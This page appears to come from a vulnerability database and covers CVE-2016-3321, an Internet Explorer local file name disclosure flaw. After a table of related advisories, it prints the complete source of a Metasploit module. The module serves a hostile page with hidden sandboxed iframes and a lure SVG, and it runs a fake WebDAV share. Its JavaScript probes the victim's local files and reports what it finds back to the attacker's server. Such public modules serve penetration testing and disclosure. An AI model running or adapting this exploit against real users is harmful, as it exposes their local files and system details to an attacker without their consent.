| Reporter | Title | Published | Views | Family All 19 |
|---|---|---|---|---|
| The vulnerability of the Internet Explorer browser, which allows a violator to rename files | 23 Aug 201600:00 | – | bdu_fstec | |
| CVE-2016-3321 | 29 May 201815:50 | – | circl | |
| Microsoft Internet Explorer Local Filename Information Disclosure Vulnerability | 10 Aug 201600:00 | – | cnvd | |
| Microsoft Internet Explorer Information Disclosure (MS16-095: CVE-2016-3321) | 9 Aug 201600:00 | – | checkpoint_advisories | |
| CVE-2016-3321 | 9 Aug 201621:00 | – | cve | |
| CVE-2016-3321 | 9 Aug 201621:00 | – | cvelist | |
| Internet Explorer help | 9 Aug 201607:00 | – | mskb | |
| Cumulative update for Windows 10: August 9, 2016 | 9 Aug 201607:00 | – | mskb | |
| Cumulative update for Windows 10 Version 1511: August 9, 2016 | 9 Aug 201607:00 | – | mskb | |
| Cumulative update for Windows 10 Version 1607: August 9, 2016 | 9 Aug 201607:00 | – | mskb |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info={})
super(update_info(info,
'Name' => 'Internet Explorer Iframe Sandbox File Name Disclosure Vulnerability',
'Description' => %q{
It was found that Internet Explorer allows the disclosure of local file names.
This issue exists due to the fact that Internet Explorer behaves different for
file:// URLs pointing to existing and non-existent files. When used in
combination with HTML5 sandbox iframes it is possible to use this behavior to
find out if a local file exists. This technique only works on Internet Explorer
10 & 11 since these support the HTML5 sandbox. Also it is not possible to do
this from a regular website as file:// URLs are blocked all together. The attack
must be performed locally (works with Internet zone Mark of the Web) or from a
share.
},
'License' => MSF_LICENSE,
'Author' => 'Yorick Koster',
'References' =>
[
['CVE', '2016-3321'],
['MSB', 'MS16-095'],
['URL', 'https://securify.nl/advisory/SFY20160301/internet_explorer_iframe_sandbox_local_file_name_disclosure_vulnerability.html'],
],
'Platform' => 'win',
'DisclosureDate' => '2016-08-09'
))
register_options(
[
OptString.new('SHARENAME', [ true, "The name of the top-level share.", "falcon" ]),
OptString.new('PATHS', [ true, "The list of files to check (comma separated).", "Testing/Not/Found/Check.txt, Windows/System32/calc.exe, Program Files (x86)/Mozilla Firefox/firefox.exe, Program Files/VMware/VMware Tools/TPAutoConnSvc.exe" ]),
])
# no SSL
deregister_options('SSL', 'SSLVersion', 'SSLCert', 'SRVPORT', 'URIPATH')
end
def js
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
%Q|function report() {
if(window.location.protocol != 'file:') {
try {
window.location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html';
} catch (e) { }
return;
}
var frames = document.getElementsByTagName('iframe');
for(var i = 0; i < frames.length; i++) {
try {
if(frames[i].name == 'notfound') {
frames[i].src = 'http://#{my_host}/notfound/?f=' + frames[i].src;
}
else {
frames[i].src = 'http://#{my_host}/found/?f=' + frames[i].src;
}
} catch(e) { }
}
}|
end
def html
frames = ""
datastore['PATHS'].split(',').each do |path|
frames = frames + "<iframe src=\"file:///#{path.strip}\" onload=\"this.name='notfound'\" style=\"display:none;\" sandbox></iframe>"
end
%Q|<!DOCTYPE html>
<html>
<head>
<script type="text/javascript">
#{js}
</script>
</head>
<body>
#{frames}
<script type="text/javascript">
setTimeout('report();', 2000);
</script>
</body>
</html>|
end
def svg
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
%Q|<!-- saved from url=(0014)about:internet -->
<svg width="100px" height="100px" version="1.1" onload="try{ location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html'; } catch(e) { }" xmlns="http://www.w3.org/2000/svg"></svg>|
end
def is_target_suitable?(user_agent)
if user_agent =~ /^Microsoft-WebDAV-MiniRedir/
return true
end
info = fingerprint_user_agent(user_agent)
if info[:ua_name] == HttpClients::IE
return true
end
false
end
def on_request_uri(cli, request)
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
case request.method
when 'OPTIONS'
process_options(cli, request)
when 'PROPFIND'
process_propfind(cli, request)
when 'GET'
unless is_target_suitable?(request.headers['User-Agent'])
print_status("GET #{request.uri} #{request.headers['User-Agent']} => 200 image.svg")
resp = create_response(200, "OK")
resp.body = svg
resp['Content-Type'] = 'image/svg+xml'
resp['Content-Disposition'] = 'attachment;filename=image.svg'
cli.send_response(resp)
end
case request.uri
when /^\/found\/\?f=/
f = URI.decode_www_form(request.uri.split("/found/?").last).assoc('f').last
report_note(host: cli.peerhost, type: 'ie.filenames', data: f)
print_good("Found file " + f)
send_response(cli, '')
when /^\/notfound\/\?f=/
f = URI.decode_www_form(request.uri.split("/notfound/?").last).assoc('f').last
print_error("The file " + f + " does not exist")
send_response(cli, '')
when "/"
resp = create_response(200, "OK")
resp.body = %Q|<html>
<head>
<script type="text/javascript">
try {
window.location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html';
} catch (e) {
blob = new Blob([atob('#{Rex::Text.encode_base64(svg)}')]);
window.navigator.msSaveOrOpenBlob(blob, 'image.svg');
}
</script>
</head>
<body>
</body>
</html>|
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
else
print_status("GET #{request.uri} #{request.headers['User-Agent']} => 200 returning landing page")
send_response(cli, html)
end
else
print_status("#{request.method} #{request.uri} => 404")
resp = create_response(404, "Not Found")
resp.body = ""
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
end
end
#
# OPTIONS requests sent by the WebDav Mini-Redirector
#
def process_options(cli, request)
print_status("OPTIONS #{request.uri}")
headers = {
'MS-Author-Via' => 'DAV',
'DASL' => '<DAV:sql>',
'DAV' => '1, 2',
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
'Cache-Control' => 'private'
}
resp = create_response(207, "Multi-Status")
headers.each_pair {|k,v| resp[k] = v }
resp.body = ""
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
#
# PROPFIND requests sent by the WebDav Mini-Redirector
#
def process_propfind(cli, request)
path = request.uri
print_status("PROPFIND #{path}")
body = ''
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
my_uri = "http://#{my_host}/"
if path !~ /\/$/
if path.index(".")
print_status "PROPFIND => 207 File (#{path})"
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
return
else
print_status "PROPFIND => 301 (#{path})"
resp = create_response(301, "Moved")
resp["Location"] = path + "/"
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
end
end
print_status "PROPFIND => 207 Directory (#{path})"
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
if request["Depth"].to_i > 0
trail = path.split("/")
trail.shift
case trail.length
when 0
body << generate_shares(path)
when 1
body << generate_files(path)
end
else
print_status "PROPFIND => 207 Top-Level Directory"
end
body << "</D:multistatus>"
body.gsub!(/\t/, '')
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
end
def generate_shares(path)
share_name = datastore['SHARENAME']
%Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{share_name}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
end
def generate_files(path)
trail = path.split("/")
return "" if trail.length < 2
%Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}index.html</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
end
def gen_timestamp(ttype=nil)
::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
end
def gen_datestamp(ttype=nil)
::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
end
def run
datastore['URIPATH'] = '/'
datastore['SRVPORT'] = 80
exploit
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation